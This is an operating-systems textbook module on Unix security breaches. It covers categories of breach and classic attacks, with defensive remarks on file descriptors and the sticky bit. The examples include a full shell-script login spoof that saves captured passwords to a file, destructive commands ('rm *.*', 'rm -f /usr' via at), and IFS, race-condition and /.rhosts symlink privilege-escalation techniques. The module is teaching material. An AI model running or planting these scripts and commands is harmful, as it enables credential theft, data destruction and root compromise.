OS and Security:Security Breaches

Module 9: OS and Security

Computers, with their ubiquitous presence, have ceased to be a wonder they once were. Their usage is pervasive. Information access and delivery from, and to, a remote location via internet is common. Today many societal services like railway time-table or election results are rendered through computers. The notion of electronic commerce has given fillip to provisioning commercial services as well. Most individuals use computers to store private information at home and critical professional information at work. They also use computers to access information from other computers anywhere on the net. In this kind of scenario, information is the key resource and needs to be protected.

The OS, being the system's resource regulator, must provide for security mechanisms. It must not only secure the information to protect the privacy but also prevent misuse of system resources. Unix designers had aimed to support large-scale program development and team work. The main plank of design was flexibility and support tools. The idea was to promote creation of large programs through cooperative team efforts. All this was long before 9/11. Security has become a bigger issue now. Much of Unix provisioning of services was with the premise that there are hardly, if any, abuses of system. So, Unix leaves much to be desired in respect of security. And yet, Unix has the flexibility to augment mechanisms that primarily protect users resources like files and programs. Unix incorporates security through two mechanisms, user authentication and access control. We shall elaborate on both these aspects and study what could be adequate security measures. We begin with some known security breaches. That helps to put security measures in proper perspective.

9.1 Security Breaches

We first need to comprehend the types of security breaches that may happen. Breaches may happen with malicious intent or may be initiated by users inadvertently, or accidentally. They may end up committing a security breach through a mis-typed command or ill understood interpretation of some command. In both these instances the OS must protect the interest of legitimate users of the system. Unix also does not rule out a malicious access with the intent to abuse the system. It is well known that former disgruntled employees often attempt access to systems to inflict damages or simply corrupt some critical information. Some malicious users' actions may result in one of the following three kinds of security breaches:

1. Disclosure of information.

2. Compromising integrity of data.

3. Denial of service to legitimate users of the system.

To launch an attack, an attacker may correctly guess a weak password of a legitimate user. He can then access the machine and all HW and SW resources made available to that user. Note that a password is an intended control (a means to authenticate a user) to permit legitimate access to system resources. Clearly, a malicious user may employ password racking methods with the explicit intent to bypass the intended controls. He may access classified information and may also misuse the system resources. An un authorized access ay be launched to steal precious processor cycles resulting in denial of service. Or, he may be able to acquire privileged access to modify critical files corrupting sensitive data. This would be an act of active misuse. Some activities like watching the traffic on a system or browsing without modifying files may be regarded as an act of passive misuse. Even this is a breach of security as it does lead to disclosure. It may result in some deterioration, albeit not noticeable, in the overall services as well.

9.1.1 Examples of Security Breaches

Here we shall discuss a few well known attacks that have happened and have been recorded. Study of these examples helps us to understand how security holes get created. Besides, it helps us to determine strategies to plug security holes as they manifest. Next we describe a few attack scenarios. Not all of these scenarios can be handled by OS control mechanisms. Nonetheless, it is very revealing to see how the attacks happen.

•  External Masquerading: This is the case of unauthorized access. The access may be via a communication media tap, recording and playback. For instance, a login session may be played back to masquerade another user. The measures require a network-based security solution.
•  Pest Programs: A malicious user may use a pest program to cause a subsequent harm. Its effect may manifest at some specified time or event. The Trojan horse and virus attacks fall in this category. The main difference between a Trojan horse and a virus is that, a virus is a self reproducing program. Some virus writers have used the Terminate and Stay Resident (TSR) program facility in Micro-soft environments to launch such attacks. The pest programs require internal controls to counter. Generally, the time lag helps the attacker to cover the tracks. Typically, a virus propagation involves the following steps:
•  Remote copy: In this step a program is copied to a remote machine.
•  Remote execute: The copied program is instructed to execute. The step requires repeating the previous step on the other connected machine, thereby propagating the virus.
• Bypassing internal controls: This is achieved usually by cracking passwords, or using compiler generated attack to hog or deny resources.
•  Use a given facility for a different purpose: This form of attack involves use of a given facility for a purpose other than it was intended for. For example, in Unix we can list files in any directory. This can be used to communicate secret information without being detected. Suppose `userB' is not permitted to communicate or access files of `userA'. When `userB' access files of `userA' he will always get a message permission denied. However, `userA' may name his files as atnine, tonight, wemeet. When `userB' lists the files in the directory of `userA' he gets the message “at nine tonight we meet", thereby defeating the access controls.
•  Active authority misuse: This happens when an administrator (or an individual) abuses his user privileges. A user may misuse the resources advanced to him in good faith and trust. An administrator may falsify book keeping data or a user may manipulate accounts data or some unauthorized person may be granted an access to sensitive information.
•  Abuse through inaction: An administrator may choose to be sloppy (as he may be disgruntled) in his duties and that can result in degraded services.
•  Indirect abuse: This does not quite appear like an attack and yet it may be. For instance, one may work on machine `A' to crack a protection key on machine `B'. It may appear as a perfectly legal study on machine `A' while the intent is to break the machine `B' internal controls.

We next discuss the commonly used methods of attacks. It is recommended to try a few of these in off-line mode. With that no damage to the operating environment occurs nor is the operation of an organization affected.

•  The Password spoof program: We consider the following Trojan horse and the effect it generates. It is written in a Unix like command language.

B1='ORIGIN: NODE whdl MODULE 66 PORT 12'
B2='DESTINATION:'
FILE=$HOME/CRYPT/SPOOFS/TEST
trap '' 1 2 3 5 15
echo $B1
sleep 1
echo ''
echo $B2
read dest
echo 'login:
read login
stty -echo
echo 'password:
read password
stty echo
echo ''
echo $login $passwd >> spooffile
echo 'login incorrect'
exec login
The idea is quite simple. The program on execution leaves a login prompt on the terminal. To an unsuspecting user it seems the terminal is available for use. A user would login and his login session with password shall be simply copied on to spooffile. The attacker can later retrieve the login name and password from the spooffile and now impersonate the user.

•  Password theft by clever reasoning: In the early days passwords in Unix systems were stored in an encrypted form under /etc/password. The current practice of using a shadow file will be discussed later. So, in early days, the safety of password lay in the difficulty associated with decrypting just this file. So attackers used to resort to a clever way of detecting passwords. One such attack was through an attempt to match commonly used mnemonics, or use of convenient word patterns. Usually, these are words that are easy to type or recall. The attacker generated these and used the encrypting function to encrypt them. Once the encrypted pattern matched, the corresponding password was compromised.
•  Logic Bomb: A logic bomb is usually a set-up like the login spoof described earlier. The attacker sets it up to go off when some conditions combine to happen. It may be long after the attacker (a disgruntled employee for instance) has quit the organization. This may leave no trail. Suppose we use an editor that allows setting of parameters to OS shell, the command interpreter. Now suppose one sets up a Unix command rm *.* and puts it in a file called EditMe and sends it over to the system administrator. If the system administrator opens the file and tries to edit the file, it may actually remove all the files unless he opens it in a secure environment.

Also, if the administrator attempts opening this as a user, damage would be less, compared to when he opens it as a root.

•  Scheduled File Removal: One of the facilities available on most OSs is scheduled execution of a program or a shell script. Under Unix this is done by using at command. A simple command like : rm -f /usr at 0400 saturday attack This can result in havoc. The program may be kept in a write protected directory and then executed at some specified time. The program recursively removes files without diagnostic messages from all users under usr.
• Field Separator Attack: The attack utilizes some OS features. The following steps describe the attack :

1. The attacker redefines the field separator to include backslash character so that path names such as /coo/koo are indistinguishable from coo koo.

2. The attacker knowing that some system program, say sysprog, uses administrative privilege to open a file called /coo/koo creates a program coo and places it in an accessible directory. The program is coded to transfer privileges from the system to the user via a copied OS shell.

3. The attacker invokes sysprog which will try to open /coo/koo with the administrative privileges but will actually open the file coo since the field separator has been redefined. This will have the desired effect of transferring privileges to the user, just as the attacker intended.

•  Insertion of Compiler Trojan Horse: To launch an attack with a very widely distributed effect an attacker may choose a popular filtering program based Trojan horse. A compiler is a good candidate for such an attack. To understand an attack via a compiler Trojan horse, let us first describe how a compiler works:

Compile: get (line); Translate (line);

A real compiler is usually more complex than the above description. Even this models a lexical analysis followed by the translating phases in a compiler. The objective of the Trojan horse would be to look for some patterns in the input programs and replace these with some trap door that will allow the attacker to attack the system at a later time. Thus the operation gets modified to:

Compile : get (line);

if line == "readpwd(p)" then translate (Trojan horse insertion) else

translate (line);

•  The Race Condition Attack: A race condition occurs when two or more operations occur in an undefined manner. Specifically, the attacker attempts to change the state of the file system between two file system operations. Usually, the program expects these two operations to apply to the same file, or expects the information retrieved to be the same. If the file operations are not atomic, or do not reference the same file this cannot be guaranteed without proper care.

In Solaris 2.x's ps utility had a security hole that was caused by a race condition. The utility would open a temporary file, and then use the chown() system call with the file's full path to change its ownership to root. This sequence of events was easily exploitable. All that an attacker now had to do was to first slow down the system, and find the file so created, delete it, and then slip in a new SUID world writable file. Once the new file was created with that mode and with the ownership changed by chown to root by the insecure process, the attacker simply copies a shell into the file. The attacker gets a root shell.

The problem was that the second operation used the file name and not the file descriptor. If a call to fchown() would have been used on the file descriptor returned from the original open() operation, the security hole would have been avoided. File names are not unique. The file name /tmp/foo is really just an entry in the directory /tmp. Directories are special files. If an attacker can create, and delete files from a directory the program cannot trust file names taken from it. Or, to look at it in a more critical way, because the directory is modifiable by the attacker, a program cannot trust it as a source of valid input. Instead it should use file descriptors to perform its operations. One solution is to use the sticky bit (see Aside). This will prevent the attacker from removing the file, but not prevent the attacker from creating files in the directory. See below for a treatment of symbolic link attacks.

An Aside: Only directories can have sticky bit set. When a directory has the sticky bit turned on, anyone with the write permission can write (create a file) to the directory, but he cannot delete a file created by other users.

•  The Symlink Attack: A security hole reported for SUN's license manager stemmed from the creation of a file without checking for symbolic links (or soft links). An open() call was made to either create the file if it did not exist, or open it if it did exist. The problem with a symbolic link is that an open call will follow it and not consider the link to constitute a created file. So if one had /tmp/foo. symlinked to /.rhosts or "/root/.rhosts ), the latter file would be transparently opened. The license manager seemed to have used the O_CREAT flag with the open call making it create the file if it did not exist. To make matters worse, it created the file with world writable permissions. Since it ran as root, the .rhosts file could be created, written to, and root privileges attained.